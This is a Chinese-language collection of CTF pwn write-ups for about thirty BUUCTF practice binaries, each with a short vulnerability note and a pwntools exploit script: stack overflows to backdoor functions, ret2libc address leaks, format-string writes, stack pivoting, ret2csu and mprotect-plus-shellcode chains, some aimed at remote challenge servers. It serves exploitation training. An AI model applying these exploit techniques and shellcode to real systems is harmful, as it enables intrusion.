过程较为简略,以后有机会会慢慢完善
1.test_your_nc
nc连接后直接给出shell
2.rip
checksec发现为64位文件,开启了NX保护
主函数中存在栈溢出
发现后门函数,直接栈溢出到后门函数获取shell。
由于是64位,加入ret进行栈对齐。
exp
from pwn import *
io=process('pwn1')
ret=0x0000000000401016
backdoor=0x401186
payload=b'a'*(0xf+8)+p64(ret)+p64(backdoor)
io.sendline(payload)
io.interactive()
3.warmup_csaw_2016
checksec发现为64位文件,未开启任何保护
主函数存在栈溢出
发现后门函数。
栈溢出到后门函数,直接将flag打印出来了。
exp
from pwn import *
io=process('warmup_csaw_2016')
ret=0x00000000004004a1
backdoor=0x40060d
payload=b'a'*(0x40+8)+p64(backdoor)
io.sendline(payload)
io.interactive()
4.ciscn_2019_n_1
checksec发现为64位文件,开启了NX保护。
func函数中存在栈溢出且存在system函数,可直接获取flag。
通过栈溢出将v2覆盖位0x41348000即可获取shell。
exp
from pwn import *
io = process("./ciscn_2019_n_1")
payload = b'A'*(0x30-0x4) + p64(0x41348000)
io.sendline(payload)
io.interactive()
5.pwn1_sctf_2016
32位,开启了NX保护。
发现是用C++写的文件,
后门函数
vuln函数中,会将输入的I转化为三字节的you可以实现栈溢出
exp
from pwn import*
io=remote("node3.buuoj.cn",27491)
flag=0x8048f0d
payload=b'I'*20+b'aaaa'+p32(flag)
io.sendline(payload)
io.interactive()
6.jarvisoj_level0
64位,NX保护
存在栈溢出
后门函数
exp
from pwn import *
io=process('level0')
ret=0x0000000000400431
payload=b'a'*(0x88)+p64(ret)+p64(0x400596)
io.sendline(payload)
io.interactive()
7.[第五空间2019 决赛]PWN5
32位开启了canary和NX保护
在主函数中发现system("/bin/sh")
8.jarvisoj_level2
32位,开启了NX保护。
存在system函数,/bin/sh字符串与栈溢出。
可构造payload。
exp
from pwn import *
io=process('level2')
elf=ELF('level2')
sys=elf.sym['system']
sh=next(elf.search(b'/bin/sh\x00'))
io.recv()
payload=b'a'*(0x88+4)+p32(sys)+p32(0)+p32(sh)
io.sendline(payload)
io.interactive()
9.ciscn_2019_n_8
32位,保护全开
观察主函数,发现system("/bin/sh")
我们需要将var[13]改为17
exp
from pwn import *
io=process('ciscn_2019_n_8')
payload=p32(0x11)*14
io.sendline(payload)
io.interactive()
10.ciscn_2019_c_1
64位,NX保护。
主函数未发现漏洞,点进encrypt(),
存在栈溢出。
选择1进入漏洞函数。
注意strlen()函数,使用\x00截断,接着使用ret2libc的方法解决。
exp
from pwn import *
from LibcSearcher import *
#io=remote('node5.buuoj.cn',26263)
io=process('ciscn_2019_c_1')
elf=ELF('ciscn_2019_c_1')
rdi=0x400c83
ret=0x4006b9
io.recv()
io.sendline(b'1')
io.recv()
payload=b'\x00'+b'a'*(0x50+8-1)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4009a0)
io.sendline(payload)
io.recvline()
io.recvline()
puts_got=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_got))
#libc=LibcSearcher('puts',puts_got)
#base=puts_got-libc.dump('puts')
#sys=base+libc.dump('system')
#sh=base+libc.dump(b'str_bin_sh')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
base=puts_got-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload1=b'\x00'+b'a'*(0x50+8-1)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload1)
io.interactive()
11.bjdctf_2020_babystack
64位NX保护
存在整数溢出漏洞。
发现后门函数。
exp
from pwn import*
io=process('bjdctf_2020_babystack')
ret=0x0000000000400561
#io=remote('node5.buuoj.cn',28290)
#gdb.attach(io)
#pause()
shell_addr=0x4006e6
io.sendline('100')
payload=b'a'*(0x10+8)+p64(ret)+p64(shell_addr)
io.sendline(payload)
io.interactive()
12。get_started_3dsctf_2016
32位NX保护
主函数存在栈溢出,
发现可以打印flag的函数。
由于程序为静态编译,需要返回到exit()才能正常回显。
exp
from pwn import*
io=remote('node5.buuoj.cn',25760)
#io=process('get_started_3dsctf_2016')
exit=0x0804e6a0
payload=b'a'*(0x38)+p32(0x80489a0)+p32(exit)+p32(0x308CD64F)+p32(0x195719D1)
io.sendline(payload)
io.interactive()
或者可以使用mprotext函数
exp
from pwn import *
io=remote('node5.buuoj.cn',25760)
#io=process('./get_started_3dsctf_2016')
elf=ELF('./get_started_3dsctf_2016')
pop3_ret=0x0806fc08
mprotect=elf.symbols['mprotect']
read=elf.symbols['read']
payload=b'a'*(0x38)+p32(mprotect)+p32(pop3_ret)+p32(0x080Ec000)+p32(0x1000)+p32(0x7)+p32(read)+p32(pop3_ret)+p32(0)+p32(0x080Ec000)+p32(0x1000)+p32(0x080Ec000)
io.sendline(payload)
payload1= asm(shellcraft.sh())
io.sendline(payload1)
io.interactive()
13.jarvisoj_level2_x64
64为Nx保护
存在/bin/sh字符串,
exp
from pwn import*
#io=remote('node5.buuoj.cn',25760)
io=process('level2_x64')
elf=ELF('level2_x64')
ret=0x4004a1
rdi=0x4006b3
sys=elf.sym['system']
sh=next(elf.search(b'/bin/sh'))
payload=b'a'*(0x88)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload)
io.interactive()
14.[HarekazeCTF2019]baby_rop
64位NX保护
有system,有/bin/sh,
exp
from pwn import*
#io=remote('node5.buuoj.cn',25760)
io=process('babyrop')
elf=ELF('babyrop')
ret=0x400479
rdi=0x400683
sys=elf.sym['system']
sh=next(elf.search(b'/bin/sh'))
payload=b'a'*(0x18)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload)
io.interactive()
15.[OGeek2019]babyrop
32位NX保护。
主函数
需要使用\x00绕过,并使buf[7]大于E7,才能进行栈溢出。
exp
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'i386', log_level='debug')
io=process('rop')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('rop')
main=0x8048825
payload=b'\x00'+b'\xff'*7
io.sendline(payload)
io.recv()
payload1=b'a'*(0xE7+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
io.sendline(payload)
io.recv()
payload2=b'a'*(0xE7+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()
16.others_shellcode
nc连接,直接获得shell
17.ciscn_2019_n_5
保护全关,考虑shellcode
两个栈溢出点,可以先将shellcode写入name,再在gets上ret到name。
exp
from pwn import*
#r=process('ciscn_2019_n_5')
r=remote('node5.buuoj.cn',26703)
context(arch='amd64',os='linux')
ret=0x4004c9
gdb.attach(r)
pause()
shellcode=asm(shellcraft.sh())
r.sendlineafter('tell me your name',shellcode)
payload=b'a'*0x28+p64(0x601080)
r.sendlineafter('What do you want to say to me?',payload)
r.interactive()
18.ciscn_2019_en_2
该题跟ciscn_2019_c_1一模一样
19.not_the_same_3dsctf_2016
32位NX保护
静态编译,直接mprotext()函数,改变权限
exp
from pwn import*
io=remote('node3.buuoj.cn',29651)
elf=ELF('not_the_same_3dsctf_2016')
read_addr=elf.symbols['read']
mprotect=0x806ED40
addr=0x80eb000
p3_ret=0x806fcc8
shellcode=asm(shellcraft.sh())
payload =b'a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7)
payload +=p32(read_addr)+p32(p3_ret)
payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
io.sendline(payload)
io.sendline(shellcode)
io.interactive()
20.ciscn_2019_ne_5
32位,NX保护
主函数中密码已给出。
可以在1中写入payload,然后在4中栈溢出,system函数已给出,可以使用ROPgadget找到sh
exp
from pwn import*
io=process('ciscn_2019_ne_5')
#io=remote('node5.buuoj.cn',25448)
elf=ELF('ciscn_2019_ne_5')
sys=elf.sym['system']
sh=0x080482ea
io.recv()
io.sendline(b'administrator')
io.recv()
io.sendline(b'1')
payload1=b'a'*(0x48+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload1)
io.recv()
io.sendline(b'4')
io.interactive()
21.铁人三项(第五赛区)_2018_rop
32位,NX保护。
普通的ret2libc。
exp
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'i386', log_level='debug')
io=process('2018_rop')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('2018_rop')
main=0x80484c6
payload1=b'a'*(0x88+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x88+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()
22.bjdctf_2020_babyrop
64位NX保护。
普通的ret2libc。
exp
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('bjdctf_2020_babyrop')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('bjdctf_2020_babyrop')
main=0x4006ad
ret=0x4004c9
rdi=0x400733
#gdb.attach(io)
#pause()
payload1=b'a'*(0x28)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
io.sendline(payload1)
puts_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=puts_ad-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x28)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)
io.interactive()
23.bjdctf_2020_babystack2
64位NX保护
主函数存在整数溢出和栈溢出漏洞
发现后门函数
打本地注意栈对齐。
exp
from pwn import *
io=process('bjdctf_2020_babystack2')
#io=remote('node5.buuoj.cn',27991)
backdoor=0x400726
gdb.attach(io)
pause()
ret=0x400599
io.recv()
io.sendline(b'-1')
io.recv()
payload=b'a'*(0x18)+p64(ret)+p64(backdoor)
io.sendline(payload)
io.interactive()
24.jarvisoj_fm
32位NX和canary保护
根据主函数可知,我们需要让x等于4来获取shell。
并且主函数中存在格式化字符串漏洞,我们可以通过利用格式化字符串修改x的值
查看偏移
exp
from pwn import *
io=process('fm')
#io=remote('node5.buuoj.cn',27991)
x=0x804A02C
payload=p32(x)+b'%11$n'
io.sendline(payload)
io.interactive()
25.jarvisoj_tell_me_something
64位NX保护
主函数栈溢出,未发现system函数,
存在后门函数,直接栈溢出,
但要注意该栈未push ebp,所以栈溢出使不用加8
exp
from pwn import *
io=process('guestbook')
flag=0x400620
payload=b'a'*(0x88)+p64(flag)
io.sendline(payload)
io.interactive()
26.ciscn_2019_es_2
32位NX保护
栈溢出只能覆盖ret,考虑栈迁移,存在system函数。
exp
from pwn import *
io=process("ciscn_2019_es_2")
sys=0x8048400
leave_ret=0x08048562
#gdb.attach(io,'b *0x80485F9')
#pause()
io.recvuntil("Welcome, my friend. What's your name?")
payload=b'a'*0x20+b'b'*8
io.send(payload)
io.recvuntil("bbbbbbbb")
ebp=u32(io.recv(4))
payload2=b'a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+b"/bin/sh\x00"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
io.send(payload2)
io.interactive()
27.[HarekazeCTF2019]baby_rop2
64位NX保护
主函数存在栈溢出,可以使用ret2libc。要注意printf函数的调用
exp
from pwn import *
io=process("babyrop2")
elf=ELF('babyrop2')
rdi=0x400733
ret=0x4004d1
main=0x400636
#fom=0x400758
fom=0x400770
rsi_r15=0x400731
gdb.attach(io)
pause()
#payload=b'a'*(0x28)+p64(rdi)+p64(elf.got['read'])+p64(elf.sym['printf'])+p64(elf.sym['main'])
payload=b'a'*(0x28)+p64(rdi)+p64(fom)+p64(rsi_r15)+p64(elf.got['read'])+p64(0)+p64(elf.sym['printf'])+p64(ret)+p64(elf.sym['main'])
io.sendline(payload)
read_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
base=read_ad-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh\x00'))
print(hex(base))
payload2=b'a'*(0x28)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)
io.interactive()
28.pwn2_sctf_2016
32位NX保护
exp
from struct import pack
from LibcSearcher import *
from pwn import *
pwn="./pwn2_sctf_2016"
#p=remote("node4.buuoj.cn",26699)
p=process(pwn)
elf=ELF(pwn)
p.sendlineafter("read? ",b'-1')
payload = b'a'*0x30 + p32(elf.plt['printf']) + p32(elf.sym['main']) + p32(0x80486F8) + p32(elf.got['printf'])
p.sendlineafter("bytes of data!\n",payload)
p.recvline()
p.recvuntil("You said: ")
printf_addr=u32(p.recv(4))
#libc=ELF("./libc-2.23.so")
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libcbase=printf_addr-libc.sym['printf']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
p.sendlineafter("read? ",b'-1')
payload = b'a'*0x30 + p32(sys_addr)+b'aaaa'+p32(bin_sh)
p.sendlineafter("bytes of data!\n",payload)
p.recvline()
p.interactive()
29.picoctf_2018_rop chain
32位NX保护
vuln函数中存在栈溢出
使 win1,win2等于1,并使a1等于0xDEADBAAD则可获得flag
exp
from pwn import *
io=remote("node3.buuoj.cn",26602)
win_function1=0x080485CB
win_function2=0x080485D8
flag=0x0804862B
payload=b"a"*0x1c
payload+=p32(win_function1)
payload+=p32(win_function2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
r.sendlineafter("input> ",payload)
io.interactive()
30.jarvisoj_level3
32位NX保护
经典栈溢出
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'i386', log_level='debug')
io=process('level3')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('level3')
main=0x8048484
payload1=b'a'*(0x88+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x88+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()
31.ciscn_2019_s_3
64位NX保护
该题给出的函数很少,可以考虑ret2csu来进行系统调用
要注意的是,由于glibc版本不同,本题本地跟远程的偏移不一样。
from pwn import *
p = remote('node5.buuoj.cn',26219)
elf = ELF('ciscn_s_3')
rax_3b = 0x4004E2
rdi = 0x4005a3
rsi_r15 = 0x4005a1
rbx_rbp_r12_r13_r14_r15 = 0x40059A
r13_rdx = 0x400580
syscall = 0x400517
payload = b'a'*0x10 + p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
payload = b'/bin/sh\x00'
payload = payload.ljust(0x10, b'a')
payload += p64(rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(binsh + 0x50) + p64(0)*3
payload += p64(r13_rdx)
payload += p64(rdi) + p64(binsh)
payload += p64(rax_3b)
payload += p64(syscall)
p.sendline(payload)
p.interactive()
32.ez_pz_hackover_2016
32位保护全关
先写入crashme\x00绕过,写入shellcode,进入vuln函数栈溢出,覆盖ret到shellcode
from pwn import *
from LibcSearcher import *
io= process('./ez_pz_hackover_2016')
#io= remote('node5.buuoj.cn',25412)
elf = ELF('ez_pz_hackover_2016')
io.recvuntil('crash: ')
s_ad=int(io.recv(10), 16)
shellcode=asm(shellcraft.sh())
payload=b'crashme\x00'+b"a"*18+p32(s_ad-0x1c)+shellcode
io.sendline(payload)
io.interactive()